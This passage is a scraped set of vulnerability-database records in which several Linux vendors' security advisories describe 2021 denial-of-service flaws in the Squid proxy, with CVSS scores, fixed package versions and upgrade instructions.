\n\nCVE-2021-28651\n\n Due to a buffer-management bug, it allows a denial of service. \n When resolving a request with the urn: scheme, the parser leaks a \n small amount of memory. However, there is an unspecified attack \n methodology that can easily trigger a large amount of memory \n consumption.\n\nCVE-2021-28652\n\n Due to incorrect parser validation, it allows a Denial of Service \n attack against the Cache Manager API. This allows a trusted client \n to trigger memory leaks that. over time, lead to a Denial of \n Service via an unspecified short query string. This attack is \n limited to clients with Cache Manager API access privilege.\n\nCVE-2021-31806\n\n Due to a memory-management bug, it is vulnerable to a Denial of \n Service attack (against all clients using the proxy) via HTTP \n Range request processing.\n\nCVE-2021-31807\n\n An integer overflow problem allows a remote server to achieve \n Denial of Service when delivering responses to HTTP Range \n requests. The issue trigger is a header that can be expected to \n exist in HTTP traffic without any malicious intent.\n\nCVE-2021-31808\n\n Due to an input-validation bug, it is vulnerable to a Denial of \n Service attack (against all clients using the proxy). A client \n sends an HTTP Range request to trigger this.\n\nCVE-2021-33620\n\n Remote servers to cause a denial of service (affecting \n availability to all clients) via an HTTP response. The issue \n trigger is a header that can be expected to exist in HTTP traffic \n without any malicious intent by the server.\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u7.\n\nWe recommend that you upgrade your squid3 packages.\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/squid3\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-06-14T06:36:59", "type": "debian", "title": "[SECURITY] [DLA 2685-1] squid3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-14T06:36:59", "id": "DEBIAN:DLA-2685-1:9A36F", "href": "https://lists.debian.org/debian-lts-announce/2021/06/msg00014.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "osv": [{"lastseen": "2022-08-05T05:19:09", "description": "\nSeveral vulnerabilities were discovered in Squid, a proxy caching\nserver.\n\n\n* [CVE-2021-28651](https://security-tracker.debian.org/tracker/CVE-2021-28651)\nDue to a buffer-management bug, it allows a denial of service.\n When resolving a request with the urn: scheme, the parser leaks a\n small amount of memory. However, there is an unspecified attack\n methodology that can easily trigger a large amount of memory\n consumption.\n* [CVE-2021-28652](https://security-tracker.debian.org/tracker/CVE-2021-28652)\nDue to incorrect parser validation, it allows a Denial of Service\n attack against the Cache Manager API. This allows a trusted client\n to trigger memory leaks that. over time, lead to a Denial of\n Service via an unspecified short query string. This attack is\n limited to clients with Cache Manager API access privilege.\n* [CVE-2021-31806](https://security-tracker.debian.org/tracker/CVE-2021-31806)\nDue to a memory-management bug, it is vulnerable to a Denial of\n Service attack (against all clients using the proxy) via HTTP\n Range request processing.\n* [CVE-2021-31807](https://security-tracker.debian.org/tracker/CVE-2021-31807)\nAn integer overflow problem allows a remote server to achieve\n Denial of Service when delivering responses to HTTP Range\n requests. The issue trigger is a header that can be expected to\n exist in HTTP traffic without any malicious intent.\n* [CVE-2021-31808](https://security-tracker.debian.org/tracker/CVE-2021-31808)\nDue to an input-validation bug, it is vulnerable to a Denial of\n Service attack (against all clients using the proxy). A client\n sends an HTTP Range request to trigger this.\n* [CVE-2021-33620](https://security-tracker.debian.org/tracker/CVE-2021-33620)\nRemote servers to cause a denial of service (affecting\n availability to all clients) via an HTTP response. The issue\n trigger is a header that can be expected to exist in HTTP traffic\n without any malicious intent by the server.\n\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u7.\n\n\nWe recommend that you upgrade your squid3 packages.\n\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/squid3>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-06-28T00:00:00", "type": "osv", "title": "squid3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806", "CVE-2021-31808", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-31807", "CVE-2021-33620"], "modified": "2022-08-05T05:19:08", "id": "OSV:DLA-2685-1", "href": "https://osv.dev/vulnerability/DLA-2685-1", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-08-10T07:20:11", "description": "\nMultiple denial of service vulnerabilities were discovered in the Squid\nproxy caching server.\n\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 4.6-1+deb10u6.\n\n\nWe recommend that you upgrade your squid packages.\n\n\nFor the detailed security status of squid please refer to\nits security tracker page at:\n[\\\nhttps://security-tracker.debian.org/tracker/squid](https://security-tracker.debian.org/tracker/squid)\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-06-01T00:00:00", "type": "osv", "title": "squid - security update", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806", "CVE-2021-31808", "CVE-2021-28651", "CVE-2021-28662", "CVE-2021-28652", "CVE-2021-31807", "CVE-2021-33620"], "modified": "2022-08-10T07:20:04", "id": "OSV:DSA-4924-1", "href": "https://osv.dev/vulnerability/DSA-4924-1", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "photon": [{"lastseen": "2023-03-16T05:33:51", "description": "Updates of ['containerd', 'squid'] packages of Photon OS have been released.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-07-20T00:00:00", "type": "photon", "title": "Important Photon OS Security Update - PHSA-2021-3.0-0269", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-32760", "CVE-2021-33620"], "modified": "2021-07-20T00:00:00", "id": "PHSA-2021-3.0-0269", "href": "https://github.com/vmware/photon/wiki/Security-Update-3.0-269", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-12T18:41:43", "description": "Updates of ['containerd', 'squid'] packages of Photon OS have been released.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-07-20T00:00:00", "type": "photon", "title": "Important Photon OS Security Update - PHSA-2021-0269", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-32760", "CVE-2021-33620"], "modified": "2021-07-20T00:00:00", "id": "PHSA-2021-0269", "href": "https://github.com/vmware/photon/wiki/Security-Update-3.0-269", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-10T03:18:09", "description": "Updates of ['squid'] packages of Photon OS have been released.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-07-20T00:00:00", "type": "photon", "title": "Important Photon OS Security Update - PHSA-2021-4.0-0063", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28116", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-07-20T00:00:00", "id": "PHSA-2021-4.0-0063", "href": "https://github.com/vmware/photon/wiki/Security-Update-4.0-63", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-05-12T18:55:44", "description": "Updates of ['squid'] packages of Photon OS have been released.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-07-19T00:00:00", "type": "photon", "title": "Important Photon OS Security Update - PHSA-2021-0063", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28116", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-07-19T00:00:00", "id": "PHSA-2021-0063", "href": "https://github.com/vmware/photon/wiki/Security-Update-4.0-63", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "redhat": [{"lastseen": "2021-11-22T18:42:10", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.15). (BZ#1964384)\n\nSecurity Fix(es):\n\n* squid: denial of service in URN processing (CVE-2021-28651)\n\n* squid: denial of service issue in Cache Manager (CVE-2021-28652)\n\n* squid: denial of service in HTTP response processing (CVE-2021-28662)\n\n* squid: improper input validation in HTTP Range header (CVE-2021-31806)\n\n* squid: incorrect memory management in HTTP Range header (CVE-2021-31807)\n\n* squid: integer overflow in HTTP Range header (CVE-2021-31808)\n\n* squid: denial of service in HTTP response processing (CVE-2021-33620)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 8.5 Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-11-09T08:56:14", "type": "redhat", "title": "(RHSA-2021:4292) Moderate: squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-11-09T14:10:11", "id": "RHSA-2021:4292", "href": "https://access.redhat.com/errata/RHSA-2021:4292", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "ubuntu": [{"lastseen": "2023-01-26T15:21:49", "description": "## Releases\n\n * Ubuntu 21.04 \n * Ubuntu 20.10 \n * Ubuntu 20.04 LTS\n * Ubuntu 18.04 LTS\n\n## Packages\n\n * squid \\- Web proxy cache server\n * squid3 \\- Web proxy cache server\n\nJoshua Rogers discovered that Squid incorrectly handled requests with the \nurn: scheme. A remote attacker could possibly use this issue to cause \nSquid to consume resources, leading to a denial of service. \n(CVE-2021-28651)\n\nJoshua Rogers discovered that Squid incorrectly handled requests to the \nCache Manager API. A remote attacker with access privileges could possibly \nuse this issue to cause Squid to consume resources, leading to a denial of \nservice. This issue was only addressed in Ubuntu 20.04 LTS, Ubuntu 20.10, \nand Ubuntu 21.04. (CVE-2021-28652)\n\nJoshua Rogers discovered that Squid incorrectly handled certain response \nheaders. A remote attacker could possibly use this issue to cause Squid to \ncrash, resulting in a denial of service. This issue was only affected \nUbuntu 20.04 LTS, Ubuntu 20.10, and Ubuntu 21.04. (CVE-2021-28662)\n\nJoshua Rogers discovered that Squid incorrectly handled range request \nprocessing. A remote attacker could possibly use this issue to cause Squid \nto crash, resulting in a denial of service. (CVE-2021-31806, \nCVE-2021-31807, CVE-2021-31808)\n\nJoshua Rogers discovered that Squid incorrectly handled certain HTTP \nresponses. A remote attacker could possibly use this issue to cause Squid \nto crash, resulting in a denial of service. (CVE-2021-33620)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-06-03T00:00:00", "type": "ubuntu", "title": "Squid vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-03T00:00:00", "id": "USN-4981-1", "href": "https://ubuntu.com/security/notices/USN-4981-1", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "almalinux": [{"lastseen": "2022-09-14T18:10:37", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.15). (BZ#1964384)\n\nSecurity Fix(es):\n\n* squid: denial of service in URN processing (CVE-2021-28651)\n\n* squid: denial of service issue in Cache Manager (CVE-2021-28652)\n\n* squid: denial of service in HTTP response processing (CVE-2021-28662)\n\n* squid: improper input validation in HTTP Range header (CVE-2021-31806)\n\n* squid: incorrect memory management in HTTP Range header (CVE-2021-31807)\n\n* squid: integer overflow in HTTP Range header (CVE-2021-31808)\n\n* squid: denial of service in HTTP response processing (CVE-2021-33620)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-11-09T08:56:14", "type": "almalinux", "title": "Moderate: squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-11-09T13:01:13", "id": "ALSA-2021:4292", "href": "https://errata.almalinux.org/8/ALSA-2021-4292.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "rocky": [{"lastseen": "2023-02-02T17:11:25", "description": "An update is available for squid, libecap.\nThis update affects Rocky Linux 8.\nA Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list\nSquid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.15). (BZ#1964384)\n\nSecurity Fix(es):\n\n* squid: denial of service in URN processing (CVE-2021-28651)\n\n* squid: denial of service issue in Cache Manager (CVE-2021-28652)\n\n* squid: denial of service in HTTP response processing (CVE-2021-28662)\n\n* squid: improper input validation in HTTP Range header (CVE-2021-31806)\n\n* squid: incorrect memory management in HTTP Range header (CVE-2021-31807)\n\n* squid: integer overflow in HTTP Range header (CVE-2021-31808)\n\n* squid: denial of service in HTTP response processing (CVE-2021-33620)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Rocky Linux 8.5 Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-11-09T08:56:14", "type": "rocky", "title": "squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-11-09T08:56:14", "id": "RLSA-2021:4292", "href": "https://errata.rockylinux.org/RLSA-2021:4292", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "amazon": [{"lastseen": "2023-02-23T15:49:01", "description": "**Issue Overview:**\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a buffer-management bug, it allows a denial of service. When resolving a request with the urn: scheme, the parser leaks a small amount of memory. However, there is an unspecified attack methodology that can easily trigger a large amount of memory consumption. (CVE-2021-28651)\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to incorrect parser validation, it allows a Denial of Service attack against the Cache Manager API. This allows a trusted client to trigger memory leaks that. over time, lead to a Denial of Service via an unspecified short query string. This attack is limited to clients with Cache Manager API access privilege. (CVE-2021-28652)\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a memory-management bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy) via HTTP Range request processing. (CVE-2021-31806)\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An integer overflow problem allows a remote server to achieve Denial of Service when delivering responses to HTTP Range requests. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent. (CVE-2021-31807)\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to an input-validation bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy). A client sends an HTTP Range request to trigger this. (CVE-2021-31808)\n\nSquid before 4.15 and 5.x before 5.0.6 allows remote servers to cause a denial of service (affecting availability to all clients) via an HTTP response. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent by the server. (CVE-2021-33620)\n\nA flaw was found in squid. A trusted client can directly access the cache manager information, bypassing the manager ACL protection and resulting in information disclosure. (CVE-2022-41317)\n\n \n**Affected Packages:** \n\n\nsquid\n\n \n**Issue Correction:** \nRun _yum update squid_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.44.amzn1.i686 \n \u00a0\u00a0\u00a0 squid-3.5.20-17.44.amzn1.i686 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.44.amzn1.i686 \n \n src: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.44.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.44.amzn1.x86_64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.44.amzn1.x86_64 \n \u00a0\u00a0\u00a0 squid-3.5.20-17.44.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2021-28651](<https://access.redhat.com/security/cve/CVE-2021-28651>), [CVE-2021-28652](<https://access.redhat.com/security/cve/CVE-2021-28652>), [CVE-2021-31806](<https://access.redhat.com/security/cve/CVE-2021-31806>), [CVE-2021-31807](<https://access.redhat.com/security/cve/CVE-2021-31807>), [CVE-2021-31808](<https://access.redhat.com/security/cve/CVE-2021-31808>), [CVE-2021-33620](<https://access.redhat.com/security/cve/CVE-2021-33620>), [CVE-2022-41317](<https://access.redhat.com/security/cve/CVE-2022-41317>)\n\nMitre: [CVE-2021-28651](<https://vulners.com/cve/CVE-2021-28651>), [CVE-2021-28652](<https://vulners.com/cve/CVE-2021-28652>), [CVE-2021-31806](<https://vulners.com/cve/CVE-2021-31806>), [CVE-2021-31807](<https://vulners.com/cve/CVE-2021-31807>), [CVE-2021-31808](<https://vulners.com/cve/CVE-2021-31808>), [CVE-2021-33620](<https://vulners.com/cve/CVE-2021-33620>), [CVE-2022-41317](<https://vulners.com/cve/CVE-2022-41317>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-02-17T00:02:00", "type": "amazon", "title": "Medium: squid", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", 